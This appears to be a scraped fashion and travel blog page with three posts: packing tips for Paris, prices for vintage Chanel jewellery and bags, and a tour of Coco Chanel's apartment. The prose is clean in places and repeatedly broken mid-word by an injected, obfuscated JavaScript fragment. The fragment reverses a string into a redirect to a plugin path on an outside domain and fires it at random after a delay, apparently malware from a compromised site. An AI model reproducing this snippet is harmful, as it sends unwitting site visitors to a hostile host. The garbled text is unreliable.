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Chic Packing and Vintage Chanel: How toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Get Respect in Paris

I’m excited to introduce our new Rome Antiques Diva Guide, Désirée Marie Townley, vintage fashion, couture and costume design and makeup artistry expert, and author of the popular blog THE CUT AND THE CLOTH. In addition to leading Rome antiques and vintage shopping tours, Désirée will be a regular contributor here on The Antiques Diva® & Co blog. With her trained eye for detail and world travels, she brings an artistic perspective to sourcing antiques and vintage fashion. If you’re attending our 5th Annual Paris Flea Market Champagne Brunch on Jan 21 (and I hope you are!) You can meet Désirée and some of our other Diva Guides in person. If not, book an Italy antiques buying, vintage fashion or design inspiration tour! Today Désirée is sharing a few tips she learned 1st hand for chic and stylish touring in Paris.

Chic Packing for Paris

Désirée Marie Townley | Antiques Diva Guide — *Désirée Marie Townley. Rome Antiques Diva Guide*

Paris is its own cliche… full of things you have seen in movies and read about in books. There is a reason that descriptions and images of these streets are so widely used- this is one of the most incredible cities in the world. The more familiar the city becomes to me, the more I love her. It is impossible for me to be bored or hungry here.

To increase your pleasure of traveling to any city, I recommend engulfing yourself in cinematic and literary references to the culture. For Paris, I recommend:

• Watch: Paris Was a Woman to fall in love with the history of Paris in the 1920’s

• Watch: Midnight in Paris directed by Woody Allen, for fun

• Read: A Moveable Feast by Ernest Hemingway because it is a classic

With this bag on your arm:

My sister had recently turned 30, and as a gift, my parents decided to bring her to Paris to meet me. I had to give her something memorable for such an important birthday so I sent a box containing a Chanel handbag with a note that said, “The French respect Chanel. Meet me in Paris with this bag on your arm”. So she did. My whole family did.

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Tucked amongst the Topiaries:

One of my main purposes in visiting Paris is always to discover the very best strawberry tarte in the city. So, when my sister and I got into Versailles before the rest of our group we found a patisserie tucked into the topiaries and had champagne and a strawberry tart. Very ‘Antoinette’ of us. It was exactly the kind of thing that travel books would tell you is a waste of money, and that the tarts are better at ‘blah blah blah’…. but it was perfect for some sister time. When we met up with the rest of our group they were stressed out by the crowds and the lines and we were floating on champagne bubbles.

Strawberry Tarts in Paris | Désirée Marie Townley | The Antiques Diva

More than Culture:

I knew better than to wear flat, open sandals for a day of walking in Paris. My time there had introduced me to a new kind of film that only a big city can provide and I made the choice to wear flat open toed sandals anyway. It was a normal touristy day that had me headed to visit the Eiffel Tower. I stepped off of a curb to cross the street and I landed in a small river of water, headed toward the famous sewers. I felt worse about the situation when I looked upstream to discover a half-naked (you guess which half) street person washing his unmentionables in said river. The film that coated my feet that day was sticky and black and served as a reminder to me that when you walk the streets of Paris you may collect a great deal more than culture.

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Every time I go back to Paris I get better at packing for this beautiful city. I recommend that you pack your most chic and well-tailored clothing. Parisians look FANTASTIC at all times and make it look completely effortless. If your efforts lead you to look ‘match-matchy’ or bright and bold, you will feel out of place. made the mistake of packing too many colorful things. I wound up feeling like a circus performer at a tea party- in a not good way. Go with classic neutrals – flattering shapes and your very best quality coats and jackets. Bring a beautiful leather loafer for a walking shoe (Tod’s). Nobody wants to see your new Nike’s at the Louvre, but you will be walking more than you have in your entire life, so wear something stylish but extremely comfortable.

Meet Désirée Marie Townley

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Toma – The Antiques Diva

Vintage Chanel From Paris

Dear Diva Readers,

Now let’s talk prices! What’s it cost toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to buy vintage Chanel?

A timeless Chanel bright red quilted patent leather bag decorated with a CC clasp and a silver metal shoulder strap chain interlaced with red leather. Simply perfect! 3800 Euro

These Chanel clip earrings made of gilt metal and adorned with blue, red, and green glass paste cabochons would be perfect for the holiday season! 530 Euro

Chanel by Gripoix atelier, a necklace made of several rows of faux pearls with an arabesque element in blackened gold metal with multicolored cabochons and four chains of red glass beads. A true stunner! 3800 Euro

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Chanel by Gripoix atelier, a demi-parure consisting of a pearl necklace with a centered brooch and a pair of clip earrings both in golden metal and blue and green glass paste. 3500 Euro

A Chanel transparent resin bracelet encrusted with black and green tweed, small CC logo and a silver metal chain interlaced with black tweed. 850 Euro

Merry Christmas, and as Coco might have said “May All Your Christmases be Stylish and Chic!”

The Antiques Diva®

Vintage Chanel Gets an Upgrade

Dear Diva Readers,

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Catherine writes,

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Thanks, Lynette!

The Details:

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The Antiques Diva®

Chez Coco Chanel

Dear Diva Readers,

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If you’re as enchanted by Madamoiselle as I am I want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share some photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos and a bit of histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory about Gabrielle Chanel’s private apartment. One might picture a chic black and white flat, something similar toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a classic Chanel suit. But the rooms above the Chanel stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore reflect anything but simplicity. Coco lived large. A smart mix of color and pattern saturate the place. The apartment is infused with rich details including shelf after shelf of leather bound books, most with red accents in the bindings. Black lacquered furniture and Chinese screens mix nicely with French antique pieces, allowing East toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to meet West.

Symbolism is another prevalent theme in this private residence. The camellia flower was an important symbol toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Coco Chanel perhaps because it represents purity and longevity in Asian culture. She kept ears of golden wheat near the fireplace. One might think this strange—until you know the meaning behind it. Wheat symbolizes prosperity and wealth, things that Chanel had not grown up with, but rather worked her way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.

These themes have continued toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to work their way intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to collections and ad campaigns even toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the present day. Since Karl Lagerfeld toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took over the House of Chanel, he’s been incorporating Coco’s inspirations. For instance, his Spring-Summer 2010 collection featured golden wheat ears on belts, jewelry, and was embroidered on garments.

Whether you’re designing an outfit, a room or simply looking for inspiration, Coco Chanel certainly offers plenty of ideas through the time capsule that is her apartment. I suppose one lesson here is that our experiences and aspirations influence our surroundings, and our surroundings, in turn, inform our work. Whether you’re a diehard Chanel fan or not, strolling the haunts of this iconic lady is something that should definitely be on your toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-do list when visiting Paris!

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